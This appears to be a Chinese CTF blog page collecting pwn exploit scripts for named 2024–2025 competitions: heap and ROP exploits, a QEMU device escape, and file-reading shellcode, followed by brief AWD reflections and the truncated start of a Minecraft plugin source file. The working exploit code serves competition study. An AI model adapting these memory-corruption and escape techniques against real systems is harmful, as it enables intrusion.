包含关键字 XOR 的文章

NCTF 2024 - unauth-diary

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(p, '')
# io = connect('localhost', 9999)
io = connect('39.106.16.204', 46968)

def create(length: int, content: bytes):
    io.sendafter(b'> ', b'1\x00')
    io.sendafter(b'length:\n', itob(length) + b'\x00')
    io.sendafter(b'content:\n', content)

def erase(index: int):
    io.sendafter(b'> ', b'2\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')

def modify(index: int, content: bytes):
    io.sendafter(b'> ', b'3\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')
    io.sendafter(b'content:\n', content)

def show(index: int):
    io.sendafter(b'> ', b'4\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')

def exitit():
    io.sendafter(b'> ', b'5\x00')

create(0x17, b'\n')
create(0x17, b'\n')
erase(0)
erase(1)
create(0x17, b'\n')
create(0x17, b'\n')
show(0)
io.recvuntil(b'Content:\n')
heap_a = u64(io.recv(8))
show(1)
io.recvuntil(b'Content:\n')
heap_b = u64(io.recv(8))
heap_base = (heap_a ^ heap_b) - 0x200
success(f'heap_base: 0x{heap_base:x}')

create(0x500, b'\n')
create(0x1, b'\n')
erase(2)
create(0x500, b'\n')
show(2)
io.recvuntil(b'Content:\n')
libc.address = u64(io.recv(8)) - 0x203b00
success(f'libc_base: 0x{libc.address:x}')
modify(2, asm(f"""
    mov rax, 0x67616c662f2e
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rdi, rax
    mov rax, __NR_read
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 4
    syscall
""") + b'\n')

create(-1, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
erase(5)
erase(6)
modify(4, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x41) + cyclic(56) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x41) + p64((libc.sym['environ'] - 0x28) ^ (heap_base >> 12)) + b'\n')

create(0x37, b'\n')
create(0x37, b'\n')
show(6)
io.recvuntil(b'Content:\n')
io.recv(40)
stack_addr = u64(io.recv(8))
success(f'stack_addr: 0x{stack_addr:x}')

create(-1, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
erase(9)
erase(10)
modify(8, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x61) + cyclic(88) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x61) + p64((stack_addr - 552) ^ (heap_base >> 12)) + b'\n')

create(0x57, b'\n')
create(0x57, flat([
    0,
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_base,
    libc.address + 0x000000000002b46b,
    0x1000,
    stack_addr - 496,
    libc.address + 0x00000000000981ad,
    7,
    libc.sym['mprotect'],
    heap_base + 0x340
]) + b'\n')

io.sendafter(b'> ', b'5\x00')

io.interactive()

# NCTF{126952df-8ac9-479d-a2dd-6a2d7affae00}

SECCON 2024 - BabyQEMU(复现)

#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

struct PCIBabyDevReg {
    off_t offset;
    uint32_t data;
};

#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)

static volatile char *baby_mmio = NULL;

static void set_offset(off_t offset) {
    *(volatile off_t *)&baby_mmio[MMIO_SET_OFFSET] = offset;
}

static void write_data32(off_t offset, uint32_t data) {
    set_offset(offset);
    *(volatile uint32_t *)&baby_mmio[MMIO_SET_DATA] = data;
}

static void write_data64(off_t offset, uint64_t data) {
    write_data32(offset, (uint32_t)(data & 0xffffffff));
    write_data32(offset + sizeof(uint32_t), (uint32_t)(data >> 32));
}

static uint32_t read_data32(off_t offset) {
    set_offset(offset);
    return *(volatile uint32_t *)&baby_mmio[MMIO_GET_DATA];
}

static uint64_t read_data64(off_t offset) {
    return ((uint64_t)read_data32(offset)) +
           (((uint64_t)read_data32(offset + sizeof(uint32_t))) << 32);
}

int main(void) {
    int fd;

    fd = open("/sys/bus/pci/devices/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (fd == -1) {
        perror("Failed to open resource file");
        return EXIT_FAILURE;
    }

    baby_mmio =
        (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (baby_mmio == MAP_FAILED) {
        perror("Failed to mmap MMIO region");
        close(fd);
        exit(EXIT_FAILURE);
    }

    uint64_t qemu_base = read_data64(0x170) - 8060784;
    printf("[*] qemu_base: 0x%lx\n", qemu_base);

    uint64_t buf_addr = read_data64(-8) - 5704;
    printf("[*] buf_addr: 0x%lx\n", buf_addr);

    uint64_t system_addr = read_data64(qemu_base + 26094904 - buf_addr);
    printf("[*] system_addr: 0x%lx\n", system_addr);

    write_data64(0x08, system_addr);
    write_data64(0x10, system_addr);
    write_data64(0x18, 0);
    write_data64(0x20, 0);
    write_data64(0x28, 2);
    write_data64(0x30, 0);
    write_data64(0x38, 0);
    write_data64(0x40, 0);
    write_data64(0x48, 0x400000001);
    write_data64(0x50, 0);

    write_data64(-3064, 'hs');
    write_data64(-200, buf_addr + 8);

    read_data64(0xdeadbeef); // PWN!

    munmap((void *)baby_mmio, 0x1000);
    close(fd);
    exit(EXIT_SUCCESS);
}

SUCTF 2025 - msg_cfgd

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
# context.log_level = 'debug'
binary = './ASU1'

e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def write_shellcode(io):
    shellcode = b'H1\xffH\x89\xee\x0f\x05\xff\xe6'
    io.sendlineafter(b': ', b'1')
    io.sendlineafter(b': ', b'100')
    io.sendafter(b': ', b'PwnRiK')
    io.sendafter(b': ', shellcode)

def to_attack(io):
    io.sendlineafter(b': ', b'8')
    io.sendlineafter(b':', b'7')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'U' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'I' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'O' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'P' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'H' * 8)
    io.sendafter('名称\n'.encode(), b'H' * 15)
    # io.sendafter('内容\n'.encode(), b'J' * 8 + b'\x00')
    io.sendafter('内容\n'.encode(), b'ff\x81\xc4\x06\x04\xff\xe4\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), p64(0x400F56))

i = 1
while True:
    print(i)
    i += 1
    io = connect('1.95.76.73', 10000)
    # io = process(binary)
    write_shellcode(io)
    to_attack(io)
    try:
        io.recvuntil(b'opportunity')
    except Exception:
        io.close()
        continue
    break

context.log_level='debug'
# gdb.attach(io)
io.send(b'FEFEFEFEFEFE')
io.sendafter(b'?\n', p64(0x00000000004035cb))
shellcode = f"""
mov rax, 0x67616c662f
push rax

mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

mov rax, __NR_read
mov rdi, 3
mov rsi, rsp
mov rdx, 0x50
syscall

mov rax, __NR_write
mov rdi, 1
mov rsi, rsp
mov rdx, 0x50
syscall
"""
io.send(asm(shellcode))
io.interactive()

强网杯 2024 - baby_heap

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './pwn'

e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

#  0000: 0x20 0x00 0x00 0x00000004  A = arch
#  0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
#  0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
#  0005: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0009
#  0006: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0009
#  0007: 0x15 0x01 0x00 0x00000101  if (A == openat) goto 0009
#  0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0009: 0x06 0x00 0x00 0x00000000  return KILL

# size == 1280(0x500) || size >= 1536(0x600)
def add(size: int):
    p.sendlineafter(b'choice: \n', b'1')
    p.sendlineafter(b'size \n', itob(size))

def delete(index: int):
    p.sendlineafter(b'choice: \n', b'2')
    p.sendlineafter(b'delete: \n', itob(index))

# 1 time
def edit(index: int, content: bytes):
    p.sendlineafter(b'choice: \n', b'3')
    p.sendlineafter(b'edit: \n', itob(index))
    p.sendafter(b'content \n', content)

# 1 time
def show(index: int):
    p.sendlineafter(b'choice: \n', b'4')
    p.sendlineafter(b'show: \n', itob(index))
    p.recvuntil(b'here \n')

def exp():
    add(0x618)
    add(0x1000)
    add(0x628)
    add(0x600)
    delete(3)
    add(0x638)
    delete(1)
    # pause()
    show(3)
    main_arena = u64(p.recvn(8))
    p.recvn(8)
    heap_addr = u64(p.recvn(8))
    heap_base = heap_addr - 0x2580 - 0xa00
    libc.address = main_arena - 2208080
    success(f'libc_base: 0x{libc.address:x}')
    success(f'heap_base: 0x{heap_base:x}')
    fake_linkmap_addr = heap_base + 8064

    shellcode = f"""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat2 ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    mov rdx, {heap_base + 0x4000}
    push 0x18 ; pop r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
    """

    class link_map():
        DT_PLTGOT = 3
        DT_STRTAB = 5
        DT_SYMTAB = 6
        DT_FINI = 13
        DT_DEBUG = 21
        DT_JMPREL = 23
        DT_FINI_ARRAY = 26
        DT_FINI_ARRAYSZ = 28
        DT_VERNUM = 50

        def __init__(self, address: int = 0) -> None:
            self.address: int = address
        
        def l_addr(self):
            return self.address
        
        def l_info(self, tag):
            return self.address + 0x40 + 8 * tag
        
        def l_init_called(self):
            return self.address + 0x31c
        
    l = link_map(fake_linkmap_addr)
    rop = cyclic(14 * 8) + flat([
        libc.address + 0x5a120, # mov rsp, rdx; ret
        libc.address + 0x5a120 + 3, # ret

        libc.address + 0x2a3e5, # pop rdi; ret
        heap_base + 0x2000,
        libc.address + 0x2be51, # pop rsi; ret
        0x1000,
        libc.address + 0x11f2e7, # pop rdx; pop r12; ret
        7,
        0,
        libc.sym['mprotect'],
        heap_base + 9792
    ])

    l_next_offset = 0x600

    fake_linkmap = (flat({
        0x0: 0, # l_addr
        0x18: l.address + l_next_offset, # l_next
        0x28: l.address, # l_real
        #-------------------------- l_info --------------------------#
        0x40 + l.DT_FINI_ARRAY * 8: l.address + 0x40,
        0x40 + l.DT_FINI_ARRAYSZ * 8: l.address + 0x50,
        #-------------------------- Elf64_Dyn --------------------------#
        0x40: l.DT_FINI_ARRAY,
        0x48: l.address + 0x500,
        0x50: l.DT_FINI_ARRAYSZ,
        0x58: 0x10 * 8,
        0x31c: 0xff
    }, filler=b'\x00').ljust(0x500, b'\x00') + rop).ljust(l_next_offset, b'\x00')

    for i in range(4):
        fake_linkmap += flat({
            0x18: (l.address + l_next_offset + 0x30 * (i + 1)) if i != 3 else 0,
            0x28: l.address + l_next_offset + 0x30 * i
        }, filler=b'\x00')

    fake_linkmap += asm(shellcode)
    # print(hex(len(fake_linkmap)))
    edit(2, fake_linkmap)
    # p.interactive()
    p.sendlineafter(b'choice: \n', b'0')
    success('Data sent.')
    # p.interactive()
    # ld_libc_offset = int(input())
    ld_libc_offset = 0x254000
    p.sendafter(b'addr \n', p64(libc.address + ld_libc_offset + 0x3a040))
    p.send(p64(fake_linkmap_addr))
    p.sendlineafter(b'choice: \n', b'3')
    success('Done.')
    print(p.recvuntil(b'{'))
    p.interactive()

i = 0

while True:
    # p = connect('123.56.221.254', 34923)
    p = process(binary)
    # gdb.attach(p, 'set follow-fork-mode parent\nb _dl_fini\nb _dl_sort_maps')
    print(i)
    i += 1
    try:
        exp()
    except Exception:
        p.close()
        continue
    p.interactive()

强网杯 2024 决赛 - qvm

from pwn import *

context.terminal = ['konsole', '-e']

libc = ELF('./libc.so.6')
io = process('./pwn')
# io = connect('121.42.242.203', 9999)
gdb.attach(io)

LIBC_OFFSET = 0xf4300 - 1

def exp():
    shellcode = '''
    data binsh "/bin/sh"
    _start:
    cil {} 0
    mov {} 1
    sub 0 1
    mov 1 {}
    ods binsh
    EOF
    '''.format(
        0x19d7e0 - libc.symbols['system'],
        LIBC_OFFSET + 0x21a098 // 0x10,
        LIBC_OFFSET + 0x21a098 // 0x10,
    ).strip().encode()

    io.sendline(shellcode)

io.sendline("""
_start:
cil 10086 0
push 0
pop 0
pop 0
EOF
""")

io.interactive()

SCTF 2024 - factory

from pwn import *
from ctypes import *

context(os="linux", arch="amd64", terminal=["konsole", "-e"], log_level="debug")

binary = "./factory"
# p = process(binary)
p = remote('1.95.81.93', 57777)
e = ELF(binary)
libc = ELF('./libc.so.6')

# gdb.attach(p, "b *0x40148E")
# pause()

fake_rbp = 0x4040B0
pop_rdi = e.search(asm('pop rdi; ret;')).__next__()
leave = e.search(asm('leave; ret;')).__next__()
one_gadget = 0xe3b01


def sa(num, after):
    p.sendlineafter(after, str(num).encode())


sa(40, b':')
for i in range(22):
    sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(pop_rdi, '= ')
sa(e.got['puts'], '= ')
sa(e.plt['puts'], '= ')
sa(e.sym['main'], '= ')
for i in range(7):
    sa(0, '= ')
p.recvuntil(b'\n')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {hex(libc_base)}')

sa(40, b':')
for i in range(22):
    sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(one_gadget + libc_base, '= ')
for i in range(10):
    sa(0, '= ')


p.interactive()

网鼎杯 2024 - pwn004

#!/usr/bin/python

from pwn import *
from ctypes import *

def rc4_init(key: bytes, box_size: int = 256) -> list[int]:
    if type(key) == str:
        key = key.encode()
    s = list(range(box_size))
    j = 0
    key_length = len(key)

    # Key scheduling algorithm (KSA)
    for i in range(box_size):
        # permit key is empty.
        j = (j + s[i] + 0 if key_length == 0 else j + s[i] + key[i % key_length]) % box_size
        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

    return s

def rc4_crypt(s: bytes, data: bytes, box_size: int = 256) -> bytes:
    i, j = 0, 0
    result = bytearray()

    # Pseudo-random generation algorithm (PRGA)
    for k in range(len(data)):
        i = (i + 1) %  box_size
        j = (j + s[i]) % box_size

        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

        t = (s[i] + s[j]) % box_size
        result.append(data[k] ^ s[t])

    return bytes(result)

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './pwn'

p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6')

gdb.attach(p, "set follow-fork-mode parent")

i = 1
# while True:
#     p.sendlineafter(b':\n', b'\x00' + cyclic(i))
#     if b'correct' in p.recvuntil(b'!'):
#         break
#     pause()
#     i += 1
p.sendafter(b':\n', b'\n')
p.sendafter(b':\n', b'\n')


def add(index: int, size: int, content: bytes = b''):
    p.sendlineafter(b'> \n', b'1')
    p.sendlineafter(b': \n', str(index).encode())
    p.sendlineafter(b': \n', str(size).encode())
    p.sendlineafter(b': \n', content)

def show(index: int) -> bytes:
    p.sendlineafter(b'> \n', b'2')
    p.sendlineafter(b': \n', str(index).encode())
    p.recvuntil(b',')
    p.recvuntil(b',')
    content = p.recvuntil(b']', drop=True)
    s = rc4_init(b's4cur1ty_p4ssw0rd')
    return rc4_crypt(s, content)

def delete(index: int):
    p.sendlineafter(b'> \n', b'3')
    p.sendlineafter(b': \n', str(index).encode())

def edit(index: int, content: bytes):
    p.sendlineafter(b'> \n', b'4')
    p.sendlineafter(b': \n', str(index).encode())
    p.sendlineafter(b': \n', content)

add(0, 0x40)
delete(0)
delete(0)
heap_base = (((u64(show(0)[0:8]) >> 12) - 1) << 12)
success(hex(heap_base))
delete(0)
add(1, 0x80)
add(1, 0x300)
add(2, 0x300)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
libc.address = u64(show(1)[0:8]) - 4111520
success(hex(libc.address))

s = rc4_init(b's4cur1ty_p4ssw0rd')
edit(0, rc4_crypt(s, p64(libc.address + 4118760).ljust(0x30, b'\x00')))
add(2, 0x40)
s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x40, rc4_crypt(s, p64(libc.address + 336005).ljust(0x30, b'\x00')))

s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x200, rc4_crypt(s, cyclic(0x200))) # 假栈底在这个堆块
add(1, 0x200, cyclic(0xa0) + p64(heap_base + 5744) + p64(libc.search(asm('ret')).__next__()))
delete(1)

p.interactive()

RCTF 2024 - mine

from pwn import*
context.log_level = 'debug'

io = remote('123.60.161.30', 10088)
# io = process('./run.sh')

io.sendline(b'A'*0x10)
io.sendline(b'0 0 U')
io.sendline(b'1\n1\n1')

for i in range(16*15):
    io.recvuntil(b']:')
    io.sendline(b'y a')
io.recvuntil(b']:')
io.sendline(b'y \xb0')
io.recvuntil(b']:')
io.sendline(b'y \x14')
io.recvuntil(b']:')
io.sendline(b'y \x01')
io.recvuntil(b']:')
io.sendline(b'y \x00')
for i in range(4):
    io.recvuntil(b']:')
    io.sendline(b'y b')
for i in range(8):
    io.recvuntil(b']:')
    io.sendline(b'y B')

io.interactive()

羊城杯 2024 - pstack

from pwn import *
from pwnlib.util.proc import wait_for_debugger

context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug')

binary = './pwn'
p = connect('139.155.126.78', 33760)
libc = ELF('./libc.so.6')

# gdb.attach(p)
# pause()

puts_addr = 0x400520
puts_got_addr = 0x600FC8
vuln_addr = 0x4006B0
pop_rdi = 0x400773
leave = 0x4006db
fake_stack = 0x3FE2C0
pop_rbp = 0x4005b0
fake_stack2 = 0x3fe300

p.sendafter(b'?\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4))
p.sendafter(b'?\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vuln_addr + 4) + p64(0) + p64(fake_stack) + p64(leave))

puts = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base_addr = puts - libc.sym['puts']
print(hex(libc_base_addr))

bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__()
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__()
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__()
execve = libc_base_addr + libc.symbols['execve']
pop_r12_r13 = libc_base_addr + 0x41c48
one_gadget = libc_base_addr + 0xebce2

# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp

p.sendafter(b'?\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadget) + p64(execve) + p64(fake_stack2) + p64(leave))

p.interactive()

XCTF final 2025 - SomeHeap

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info')
binary = './someheap'
# io = process(binary)

e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io)
libc_lib = cdll.LoadLibrary('/usr/lib/libc.so.6')

def index_to_seed(index: int):
    i = 0
    while True:
        libc_lib.srand(i)
        if libc_lib.rand() % 256 == index:
            return i
        i += 1

def setseed(seed: int):
    io.sendlineafter(b'> ', b'5')
    io.sendlineafter(b'new seed: ', itob(seed))

def add(index: int, size: int):
    setseed(index_to_seed(index))
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'index: ', b'0')
    io.sendlineafter(b'size: ', itob(size))

def delete(index: int, size: int):
    setseed(index_to_seed(index))
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'index: ', b'0')
    io.sendlineafter(b'size: ', itob(size))

def edit(index: int, size: int, data: bytes):
    setseed(index_to_seed(0))
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'index: ', itob(index))
    io.sendlineafter(b'size: ', itob(size))
    io.sendafter(b'data: ', data)

def show(index: int, size: int) -> bytes:
    setseed(index_to_seed(index))
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b'index: ', b'0')
    io.sendlineafter(b'size: ', itob(size))
    return io.recvline()

def info() -> int:
    io.sendlineafter(b'> ', b'6')
    io.recvuntil(b'win: ')
    win = int(io.recvline().strip(), 16)
    print_leaked('win', win)
    io.recvuntil(b'target: ')
    target = int(io.recvline().strip(), 16)
    print_leaked('target', target)
    return win

def exitit():
    io.sendlineafter(b'> ', b'7')

def exp():
    add(0, 0x68)
    add(1, 0x410)
    add(2, 0x18)
    edit(2, len('/flag\x00'), b'/flag\x00')
    add(3, 0x200)
    add(4, 0x18)
    delete(0, 0x68)
    delete(1, 0x410)
    leak = show(0, 0x10)
    heap_base = u64(leak[:8]) << 12
    print_leaked('heap', heap_base)
    edit(0, 0x10, p64(heap_base + 0x260) + p64(0))
    leak = show(1, 0x10)
    libc.address = u64(leak[:8]) - 0x203b20
    print_leaked('libc', libc.address)

    # from SomeofHouse import HouseOfSome
    # hos = HouseOfSome(libc=libc, controled_addr=heap_base + 0x4000)
    # payload = hos.hoi_read_file_template(heap_base + 0x4000, 0x400, heap_base + 0x4000, 0)

    shellcode = asm(f"""
        mov rax, 0x67616c662f
        push rax

        mov rax, __NR_open
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        syscall

        mov rax, __NR_read
        mov rdi, 3
        mov rsi, rsp
        mov rdx, 0x50
        syscall

        mov rax, __NR_write
        mov rdi, 1
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    """)
    edit(3, len(shellcode), shellcode)

    edit(0, 0x10, p64(0) * 2)
    delete(0, 0x68)
    edit(0, 0x8, p64((libc.sym['environ'] - 0x18) ^ (heap_base >> 12)))
    add(0, 0x68)
    add(0, 0x68)
    leak = show(0, 0x30)
    stack_addr = u64(leak[24:24 + 8])
    print_leaked('stack', stack_addr)

    add(0, 0x78)
    delete(0, 0x78)
    edit(0, 0x10, p64(0) * 2)
    delete(0, 0x78)
    edit(0, 0x8, p64((stack_addr - 0x270 - 0x18) ^ (heap_base >> 12)))
    add(0, 0x78)
    # gdb.attach(io, 'b *$rebase(0x290C)\n b *$rebase(0x2905)')
    add(0, 0x78)
    a = libc.search(asm('pop rsi;ret'))
    a.__next__()
    pop_rdi = libc.search(asm('pop rdi;ret')).__next__()
    pop_rsi = a.__next__()
    pop_rdx = libc.address + 0x00000000000ab8a1
    syscall_ret = libc.address + 0x0000000000098fb6
    pop_rax = libc.address + 0x00000000000dd237
    # pause()
    payload = flat([
        0,
        0,
        0xcafebabe,
        libc.address + 0x00000000000a877e,
        heap_base + 0x50,
        pop_rdi,
        heap_base + 0x730,
        pop_rsi,
        0,
        libc.address + 0x00000000000a877e,
        heap_base + 0x50,
        pop_rdx,
        0,
        pop_rax,
        2,
        syscall_ret,
        pop_rdi,
        3,
        pop_rsi,
        heap_base + 0x1000,
        libc.address + 0x00000000000a877e,
        heap_base + 0x50,
        pop_rdx,
        0x100,
        libc.sym['read'],
        pop_rdi,
        1,
        pop_rsi,
        heap_base + 0x1000,
        libc.address + 0x00000000000a877e,
        heap_base + 0x50,
        pop_rdx,
        0x100,
        libc.sym['write']
    ])
    edit(0, len(payload), payload)

    return io.recvline()

io = process(binary)
gdb.attach(io, 'b *$rebase(0x28A6)')
exp()
io.interactive()

XCTF final 2025 - calc

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './calc'
io = connect('10.2.65.1', 33127)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

io.sendline(b'----')
io.recvuntil(b'result: ')
libc.address = int(io.recvline(drop=True)) - 0x203ac0
print_leaked('libc_base', libc.address)

io.sendline(b'0--(')
io.recvuntil(b'result: ')
stack_addr = int(io.recvline(drop=True))
print_leaked('stack', stack_addr)

io.sendline(b'suddendeath')
io.sendlineafter(b'target: ', itob(stack_addr + 0x48))
io.sendlineafter(b'value: ', flat([
    libc.search(asm('pop rdi; ret;')).__next__(),
    libc.search(b'/bin/sh\x00').__next__(),
    libc.search(asm('pop rdi; ret;')).__next__() + 1,
    libc.sym['system']
]))

io.interactive()

打线下 AWD 一定要摆脱“做题家”思维,策略大于解题能力,而且前期准备也很重要(批量脚本之类)。AWD 中 fix 比解题优先,如果能审攻击流量就更要好好利用,而不是只埋头盯 IDA 之类。

这次 XCTF final AWD 办赛质量很高,patch 严控通防,把分析其他队 patch 和攻击结合起来(patch 会泄露密钥)也很有趣(只可惜最后半小时燃尽了没注意看一个关键的漏洞),第一天 CTF realworld 硬件漏洞也很有意思。

我感觉线下赛很能提振士气和促进老带新凝聚力。珍惜每一次线下赛机会。

0CTF 2025 - easypwn

#!/usr/bin/python

from pwn import *
from ctypes import *


def itob(x): return str(x).encode()
def print_leaked(name, addr): return success(f'{name}: 0x{addr:x}')


context(arch='amd64', os='linux', terminal=[
        'konsole', '-e'], log_level='debug')
binary = './pwn'

# io = process(['ncat', '--proxy', 'instance.penguin.0ops.sjtu.cn:18081',
#              '--proxy-type', 'http', 'b9gmkptpxcqh96f9', '1'])
io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io)

pop_rdi = 0x00000000004026b1
pop_rsi = 0x0000000000402818
pop_rbp = 0x000000000040165d
main = 0x4012F0
io.sendlineafter(b'> ', b'1*/*0\x8a*/' + itob(int.from_bytes(b'\x00' * 0x28 + flat([
    pop_rdi,
    2,
    pop_rsi,
    e.got['malloc'],
    e.plt['__printf_chk'],
    main,
    1
]), 'little')))
io.recvuntil(b'0\n')
libc.address = u64(io.recvuntil(b'> ', drop=True).ljust(8, b'\x00')) - 0x18b780 + 0xde130
print_leaked('libc base', libc.address)
io.sendline(b'1*/*0\x8a*/' + itob(int.from_bytes(b'\x00' * 0x28 + flat([
    pop_rbp,
    libc.address + 0x205000,
    libc.address + 0xef52b,
    1
]), 'little')))

io.interactive()

本文发布于 2026 年 3 月。

想要搭建一个博客的想法从高中就有了,不过一直没有足够的动力完成这件事。直到后来在大学接触到 CTF 才重拾搭建个人网站的兴趣。在高中那段时间的一些简陋的小玩意就全都放在这里啦。(留作回忆)

Minecraft Bukkit 声明式命令框架

高中时(2021)和一个同班同学琢磨着开一个 Minecraft 插件服务器骗钱,在那段时间写了很多服务器插件。(记得当时经常需要逆向分析一些付费的闭源插件。)最终整个项目(PolarLand)因长期没有进展一直在折腾一些底层的架构而永久搁置。如果那时候有现在这样的 Agentic Coding 的话大概不会放弃吧。其中一个插件是将原本重复繁琐的处理玩家命令的功能写成一个声明式框架。说实话,里面有一些想法直到今天的我看来也是十分 hack (nerd) 的。比如为了将玩家传入的 x y z 坐标自动实例化为 Location 于是在运行时编译一个 Java 类来实现;还有一个 Array 转数组的魔法操作 parsedArgs.add(parsedArray.toArray((Object[]) Array.newInstance(type.getComponentType(), 0)));以及后面的 tab 键补全嵌套的命令参数(参数的类型是命令)功能。

核心源码:

/*
 * Copyright 2022 pwnerik.cn
 * 
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 *     http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package net.polarmc.bukkitplugin.poleax.kit.command.parser;

import com.itranswarp.compiler.JavaStringCompiler;
import net.polarmc.bukkitplugin.poleax.kit.command.CommandModel;
import net.polarmc.bukkitplugin.poleax.kit.command.NoSuchCommandException;
import net.polarmc.bukkitplugin.poleax.kit.command.annotation.Optional;
import net.polarmc.bukkitplugin.poleax.kit.command.annotation.*;
import net.polarmc.bukkitplugin.poleax.kit.command.util.Util;
import net.polarmc.bukkitplugin.poleax.utils.MessageUtil;
import org.apache.commons.lang.StringUtils;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Location;
